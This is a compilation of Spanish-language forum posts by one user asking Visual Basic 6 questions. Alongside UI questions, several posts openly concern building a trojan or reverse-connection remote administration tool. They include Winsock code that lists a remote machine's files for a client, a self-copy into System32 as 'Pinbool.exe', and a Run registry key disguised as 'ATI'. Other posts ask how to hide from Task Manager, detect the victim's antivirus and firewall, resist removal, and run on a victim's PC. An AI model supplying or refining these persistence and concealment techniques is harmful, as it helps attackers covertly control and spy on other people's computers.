Temas

   Wenas, vereis, cuando se van colocando objetos en un form, si colocas uno encima de otro, siempre se ve delante el último qe se ha colocado (excepto algunas excepciones como las progressbar), pues bien, hay algun modo de evitar esto y seleccionar el orden de superposicion de los objetos?

  Wenas, pues vereis, he estado buscando sobre programacion de videojuegos en 3D, y una de las mejores opciones es DirectX, por su independencia de la tarjeta de video, de sonido, los pocos reqisitos... y en algunos sitios e visto qe NOMBRAN (unicamente) qe se puede usar con vb, aunqe seria una chorrada porqe consumiria mucho y no vb no es para eso y tal, no digo qe no, pero no he visto ningun manual ni nada de eso qe expliqe como se puede hacer esto, alguien puede pasar algo de informacion sobre como hacer cosillas con vb y directX? mas qe nada es curiosidad, no creo qe vaya muy lejos con esto... xD

Saludos

  Vereis, eske stoi haciendo un juegecillo, y le estoi poniendo una tabla de maximas puntuaciones, la tabla (listview) tiene 43columnas, por orden son  nombre, tiempo1, tiempo 2, y se guia por la 1º, nombre. El codigo es este:

Código [Seleccionar] Expandir

MsgBox "Has conseguido un nuevo récord.", vbInformation, "Enhorabuena!!!"
Dim X As ListItem
Set X = Form2.ListView1.ListItems.Add(, , "Pedro")
' Estas dos lineas solo son para añadir datos a la variable tempo, no tienen nada qe ver
If min >= 1 Then Tempo = min & " min, "
If sec >= 1 Or dec >= 1 Then Tempo = Tempo & sec & "," & dec & " seg."
'
X.SubItems(1) = Tempo
X.SubItems(2) = TimSeg
End If
Bueno, pues cuando consigues una maxima puntuacion te la pone bien, pero a la segunda qe consigues te añade los datos de la columna de tiempo1 y tiempo 2, y el nombre (Pedro) qeda intacto.
Alguien sabe como duplicar el item para qe vaya creando mas items iguales y no sobreescriba los existentes?

Creo, qe había un tema como este por este foro, pero he buscao y no lo encuentro...
Aver, la historia es qe qiero ocultar el mouse de mi programa, pero solo en el programa. El codigo para ocultarlo en windows entero es

Código [Seleccionar] Expandir

Private Sub Command1_Click()
    result = ShowCursor(False)
End Sub

Private Sub Command2_Click()
    result = ShowCursor(True)
End Sub

y en un modulo

Código [Seleccionar] Expandir

Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long

he pensado en restar las coordenadas de la posicion del form respecto a la pantalla, y luego mostrarlo cuando se aleje de esas corrdenadas en las qe esta el form, pero el problema sería qe al cambiar la resolucion, se jode el invento, y estoi seguro qe hay un modo mucho mas facil de hacerlo. Alguien lo sabe?

   Wenas a todos, pues vereis esqe necesito saber si se pueden meter los datos de un textbox en un listbox o listview, me explico, por ejemplo por ejemplo el text1.text es azul|*|rojo|*|amarillo|*|verde|*|rosa|*|negro|*|..., y qiero qe al pulsar el command1, se cree nu listbox con cada uno como list.text:
azul
rojo
amarillo
verde
...

   Supongo qe esto si qe se podra hacer, pero para complicarlo    aun mas tambien necesito (aparte) hacer lo mismo con dos datos en un list view, por ejemplo, el text1.text es azul|*|carlos\?\rojo|*|eva\?\verdel|*|juan\?\amarillo|*|jose\?\
y al pulsar command1, en el listview tendria qe qedar:

COLOR(Index0)                       NOMBRE(Index1)

azul                                        carlos
rojo                                        eva
verde                                      juan
amarillo                                   jose

   Bueno, espero qe me hallais entendido, si alguien me puede explicar como se podria hacer esto, muchiisimas gracias por adelantado

               Saludos

   Wenaaas, yo otra vez molestando por aqi (xD), vereis, tengo un file manager qe me funciona bastante bien, pero tiene un problema, los archivos qe salen en la raiz de las particiones se listan con // en vez de /, mejor pongo el codigo...

Código [Seleccionar] Expandir

Public Function rutad(ruta As String)
If ruta = "" Then 'si enviamos "" vemos las particiones
Dim i As Integer
For i = 0 To Drive1.ListCount - 1
ws.SendData "\list" & Drive1.List(i)  'enviamos "\list" y la ruta de todos los drive
Call Sleep(150)
Next
Else
Dir1.path = ruta
For i = 0 To Dir1.ListCount - 1
'=
ws.SendData "\list" & Form1.Dir1.List(i) & "\"
Call Sleep(150)
Next
File1.path = ruta
For i = 0 To File1.ListCount - 1
titulo = File1.path
ws.SendData "\list" & File1.path & "\" & File1.List(i)
Call Sleep(150)
Next
End If
Exit Function
End Function
   Pues eso, aqi va todo bien pero los archivos qe hay guardados en c:/, d:/, a:/... (sin subcarpetas, en el filelistbox) salen con //.
   Lo mas normal para solucionarlo seria poner:

Código [Seleccionar] Expandir

ws.SendData "\list" & File1.path & File1.List(i) en vez de

Código [Seleccionar] Expandir

ws.SendData "\list" & File1.path & "\" & File1.List(i) pero si lo pongo asi lo qe pasa es qe en cualqier directorio qe contenga archivos salen sin /, por ejemplo en la carpeta C:/cosa/ tengo el archivo Captura.jpg, pues en la lista sale como C:/cosaCaptura.jpg, y asi no puedo hacerle nada desde el cliente porqe la ruta esta eqivocada...
Alguien me puede exar una manita???

Graxias

   Wenas, vereis eske estoi intentando hacer un editor de registro remoto, la teoria la tengo (ir listando cada clave en el server y mandando la lista solicitada al cliente), pero el problema es qe no se como listar ni los valores de una clave ni las subclaves correspondientes... Alguien me puede hechar una mano?

   Vamos a ver, buscando y buscando como hacer un file manager con mis pocos conocimientos de vb, al final lo hice como pone en el manual de Xenon, la explicacion de Scugat creo qe es.
   Al cargar un formulario, aparecen las particiones de la maqina remota en un listbox directamente y luego al hacre doble click deberia ir explorando el disco, pero siempre qe hago doble click en alguna particion, o en a: sin diskette,o en el lector de cds sin cd me sale lo mismo, la lista de archivos de la ruta donde se ejecuta el server (filelistbox). Bueno, pues aqi os dejo los codigos por si alguien me puede ayudar:
Server:

Código [Seleccionar] Expandir


dim datos as integer
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
ws.GetData datos
If Left(datos, 6) = "\rutad" Then Call rutad(Mid(datos, 7))
End Sub

'Me parece qe esto no es necesario, pero ya no se qe probar
Private Sub Dir1_Change()
On Error Resume Next
File1.path = Dir1.path
End Sub
Private Sub Drive1_Change()
On Error Resume Next
Dir1.path = Drive1.Drive
End Sub

Public Function rutad(ruta As String)
On Error Resume Next
If ruta = "" Then 'Si enviamos "" vemos particiones
Dim i As Integer
For i = 0 To Drive1.ListCount - 1
ws.SendData "\list" & Drive1.List(i) & "\" 'enviamos "\list" y la ruta de todos los drive
Call Sleep(250)  'La funcion de sleep funciona perfectamente (Por si ay dudas)
Next
Else
Dir1.path = ruta
For i = 0 To Dir1.ListCount - 1
'=
ws.SendData "\list" & Form1.Dir1.List(i) & "\"
Call Sleep(250)
Next
File1.path = ruta
For i = 0 To File1.ListCount - 1
ws.SendData "\list" & File1.path & File1.List(i)
Call Sleep(250)
Next
End If
Exit Function
End Function


Cliente:

Código [Seleccionar] Expandir


Private Sub form_load()
ws.SendData  "\rutad" & ""
End Sub
Private Sub List1_DblClick()
If FormTrans.List1.Text = ".." Then 'Vuelve a las particiones
ws.SendData "\rutad" & ""
List1.Clear
Else
FormTrans.MnuMngrVer_click
End If
End Sub
Public Sub MnuMngrVer_click()
ws.SendData "\rutad" & List1.Text
Text1.Text = List1.Text
List1.Clear
List1.AddItem ".."
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String
ws.GetData datos
If Mid(datos, 1, 5) = "\list" Then List1.AddItem (Mid(datos, 6))
End Sub

Bueno, pues a ver si encontrais el error, porqe yo ya me estoi volviendo loco

   Muchiiiiiisimas gracias a todos, me estais ayudando un puñao, en serio, gracias

   Wolas a todos, tenia algunas dudas con mi progress bar,
   1º- No estoi seguro pero creo recordar qe hace tiempo hize una progressbar plana, es decirsin las rayas blancas qe van saliendo intermediamente, y creo qe lo hice desde las propiedades, cosa qe no encuenrto ahora, Sabeis como hacerlo?
   2º Tengo un label qe me muesra el % de la barra, y necesariamente tiene qe estar sobre esta, pero al arrastrarlo siempre qeda debajo de la barra y no se ve, Alguna idea para sobreponerlo? (He hecho drag & drop seleccionando la progressbar pero se sigue pegando en el formulario...)

Saludos

   Pues estaba buscando los codigos para conocer:

- El tiempo qe lleva la pc encendida
- La fecha de la primera ejecucion del programa
- El windows (XP, 98, me...) de un modo fiable (supongo qe sera desde el registro
- El antivirus
- El firewall


   En las tres ultimas, he pensado ir instalando los prductos uno a uno (norton, nod, kav, antivir, panda...) y leer una clave del registro especifica de cada programa, pero no creo qe ese sea el mejor modo. Saludos y gracias adelantadas

PD: Es posible mover un formulario qe tenga la propiedad borderStyle a 0 (none)? Usando un label o line en lugar de la barra azul de arriba, qe no se pueda mover desde cualqier parte del formulario.

  Hola, vereis, estoi haciendo un troyano, bastante basico, con la api del winsock, en el cual uso unicamente 2 textbox ocultos y el winsock como comunicacion, entonces para qe al recibir datos cada dato vaya a un textbox, por ejemplo, he puesto:

Pra qe vaya al text1 del server:

Código [Seleccionar] Expandir

Private Sub command1_click
ws.SendData "txt1" & Text1.Text
End Sub


y para qe vaya al dos pues

Código [Seleccionar] Expandir

Private Sub command2_click
ws.SendData "txt2" & Text1.Text
End Sub

Y al llegar datos al server mirar lo qe pasa:

Código [Seleccionar] Expandir

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
If Left (datos, 4) = "txt1" Then
Text1.Text = datos
End If
If Left (datos, 4) = "txt2" Then
Text2.Text = datos
End If
End Sub

Per lo qe yo qiero es recortarle la palabra txt1 o txt2 al ser recibido es decir si tu mandas por ejemplo la palabra "Snort", llega "txt1Snort" o "txt2Snort", evidentemente, pues lo qe yo qiero es qe solo llegue "Snort" sin la 'cabecera'

                                                                                                                                Saludosss

   Holas, buscando por el foro un modo de conseguir qe un formulario este siempre visible y activo (independientemente de lo qe pase con las demas aplicaciones externas), como por ejemplo los avisos de qe alguien se ha conectado al messenger o al bifrost,  las chinchetas de los programas para ver la tv en el pc o incluso los chats de troyanos como el netdevil; solo encontre esto:
http://foro.elhacker.net/index.php/topic,111422.0.html
donde falta informacion sobre la api, y en lo del timer con form1.setfocus, si abres una aplicacion externa a la del formularios qe qieres qe permanezca visible, se oculta, por tanto no funcionan.     
   Sabeis algun modo de mantener un formulario siempre visible?

PD: Daria igual qe la ventana estubiera activa o no...

    Saludos

   Wenas, estaba haciendo mi herramienta de administracion remota con conexion inversa en visual basic 6, con la api del winsock, para poder usarla en cualqier pc, pero al ponerle el cliente a conectar, el estado del socket (lo pone en la ventana del vb) es "sckConnecting" y al poco tiempo (1 segundo, si llega), el estado es de "sckError", y evidentemente, no se le conecta con el server
   No se porqe ocurre esto, pero bueno pues por si me podeis ayudar, aqi os dejo los codigos:

El cliente:

Código [Seleccionar] Expandir

Dim WithEvents ws As CSocketMaster

Private Sub Form_Load()
On Error Resume Next
Set ws = New CSocketMaster
ws.CloseSck
ws.Protocol = sckTCPProtocol
ws.RemotePort = "5121"
ws.RemoteHost = "127.0.0.1"
ws.Connect
End Sub

Private Sub Timer1_Timer()
If ws.State = 7 Then
Label2.Caption = "Conectado"
Else
Label2.Caption = "Desconectado"
End If
End Sub

Private Sub Ws_ConectionRequest(ByVal requestID As Long)
ws.CloseSck
ws.Accept requestID
Label4.Caption = ws.RemoteHostIP
End Sub


El server:

Código [Seleccionar] Expandir

Dim WithEvents ws As CSocketMaster
Dim filesize As Long, datos2 As String, filedata As String, send As Boolean, path As String

Private Sub Form_Load()
On Error Resume Next
ws.CloseSck
ws.Protocol = sckTCPProtocol
ws.LocalPort = "5121"
ws.Listen
End Sub

Private Sub Timer1_Timer()
If ws.State = 7 Then
Label1.Caption = "Conectado"
Else
Label1.Caption = "Desconectado"
End If
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.CloseSck
ws.Accept requestID
End Sub


   Saludos, y espero qe me podais ayudar, graxias

PD: Esta claro qe al troyano le falta mucho code, pero no lo he puesto porqe no es necesario, para no liar.

   Wolas, haciendo mi herramienta de administracion remota me he dado cuenta de qe es muy facil desinfectarse, unicamente matando el proceso, y luego borrandola del system32. Aparte de ocultarla del administrador de tarreas tambien he estado buscado sobre como copiarla en modo de archivo oculto y/o ponerle algo para qe no se pueda borrar facilmente

Código [Seleccionar] Expandir


Set obj = CreateObject("Scripting.FileSystemObject")
FileCopy App.path & App.EXEName & ".exe", "C:/Windows/System32/Pinbool.exe"


   Me suena qe para coprlo como oculto era /f o algo asi, como en los *.bat, pro no macuerdo...

(CSocketMaster)

Wenas, estaba leyendo el manual de troyano desde cero,

para usar la api bastan con poner en google:

CSocketMaster VB

y socket.bas

con esos 2 archivos se imita el uso de winsock, solo hay que declararlo

Código:
Dim WithEvents ws As CSocketMaster

y

Código:
Set ws = New CSocketMaster

he intentao probarlo en mi nueva herramienta de administracion remota (xD), y ha empezao a darme errores, la mayoria los e conseguio solucionar, como por ejempo en lugar de poner ws.Close poner ws.CloseSck, porqe esta si qe esta en el modulo  y si no da error...
   Bueno, una vez hecho esto, al ejecutar mi servidor me ha dao un error
"Error 10048 en tiempo de ejecucion:
Address already in use"    supongo qe sera el puerto, nose pero el server es lo unico qe tengo en ejecucion y por si sirve de algo y me podeis ayudar me lleva a esta linea del codigo del modulo de clase

Código [Seleccionar] Expandir

Err.Raise lngErrorCode, "CSocketMaster.BindInternal", GetErrorDescription(lngErrorCode)
Os pongo donde se encuentra...

Código [Seleccionar] Expandir

End With

'bind the socket
lngResult = api_bind(m_lngSocketHandle, udtSockAddr, LenB(udtSockAddr))

If lngResult = SOCKET_ERROR Then

    lngErrorCode = Err.LastDllError
    Err.Raise lngErrorCode, "CSocketMaster.BindInternal", GetErrorDescription(lngErrorCode)
   
Else

    m_strLocalIP = strIP
   
    If lngLocalPortInternal <> 0 Then
   
        Debug.Print "OK Bind HOST: " & strLocalHostInternal & " PORT: " & lngLocalPortInternal
        m_lngLocalPort = lngLocalPortInternal
       
    Else
        lngResult = GetLocalPort(m_lngSocketHandle)
       
        If lngResult = SOCKET_ERROR Then
            lngErrorCode = Err.LastDllError
            Err.Raise lngErrorCode, "CSocketMaster.BindInternal", GetErrorDescription(lngErrorCode)
        Else
            Debug.Print "OK Bind HOST: " & strLocalHostInternal & " PORT: " & lngResult
            m_lngLocalPortBind = lngResult
        End If
       
    End If
   
    BindInternal = True
End If
End Function
  Bueno, pues eso si me podeis exar una manita, gracias adelantadas

  Wolas, vereis estaba haciendo un programilla, qe tiene una fase qe es tipo salvapantallas, es decir formularios en visible=false y cuando se presione una tecla, se mueva el raton, o se haga click haga una accion, pero ahi me he qedado estancao. Supongo qe si se podra hacer pero me estoy volviendo loco con el mousemove, mouseup, mousedown... y nada.
    Alguien me podria ayudar?

Thanks

  Wenas a todos, vereis lo qe qiero es hacer un programilla qe lea una entrada del regisrto cada vez qe se ejecute, para qe la primera vez, la cree, y las siguientes la reescriba con un numero (+1) empezando de cero.
   Por ahora la informacion qe he conseguido, es para crear y o modificar una entrada:

Código [Seleccionar] Expandir

Set reeg = CreateObject("WScript.Shell")
reeg.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ATI",
"0"
   Pero poner esto no me serviria, ya qe cada vez qe se inicie la aplicacion el valor seria 0, evidentemente.
Y para leer EL VALOR de una entrada:

Código [Seleccionar] Expandir

On Error Resume Next
Set lee = CreateObject("WScript.Shell")
X = lee.regRead ("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ATI")
label1.caption= X
   Con esto solo consigo qe me salga el valor de la clave indicada, y si la clave no existe me da error, por tanto lo qe tendria qe hacer es crear una variable de la lectura de la clave, luego sumarle 1 y volverla a guardar, pero on se como hacerlo... 

     ¿Alguien me puede dar una ayuidita pliss?


SaludoS

   Hola acabo de empezar con un troyano en vb6 (conexion y pasar cuatro datos por ahora), he probado el cliente y el ervidor en mi pc con 127 .0.0.1 y todo bien, ntonces le e mandao el server a un amigo (para probarlo mas qe nada), y no lo ha podido abrir (Ha saltado diciendo qe no dispone de la biblioteca noseqe.ocx (donde esta el winsock). No se si sera una pregunta tonta, pero:
   ¿Si no tienes instalado visual basic no puedes usar prorgamas hechos con ciertos objetos como el winsock?

PD: No creo qe sea asi, porqe si no no tendria gracia un troyano en vb. solo para infectar a programadores... Se puede solucionar lo d la bibliotecasi qe haya qe instalar historias raras en el pc de la victima?

     Gracias por adelantado y saludos, Snort   

   Wenass tengo un programa k kuando guarda los videos lo hace en fotos jpg, en una carpeta y me crea un puñao, y quería saber si sabeis de algun programa para unir todas esas fotos. Suponindo qe cada foto es un frame la velocidad de frames es mas o menos regular (unos 3 por segundo, la calidad es bastante mala, de la cam).
Grasiass

Wolap, ace poco me borraron 2 o 3 mensajes, en ese mismo foro, y qe yo sepa no inclumpí las reglas...
Podrían decirme los motivos de borrar el mensaje (n privado a ser posible)??

Gracias

PD:No lo pongo en troyanos y virus pk si lo ve un moderador de los qe no m los ha borrado, me lo borraría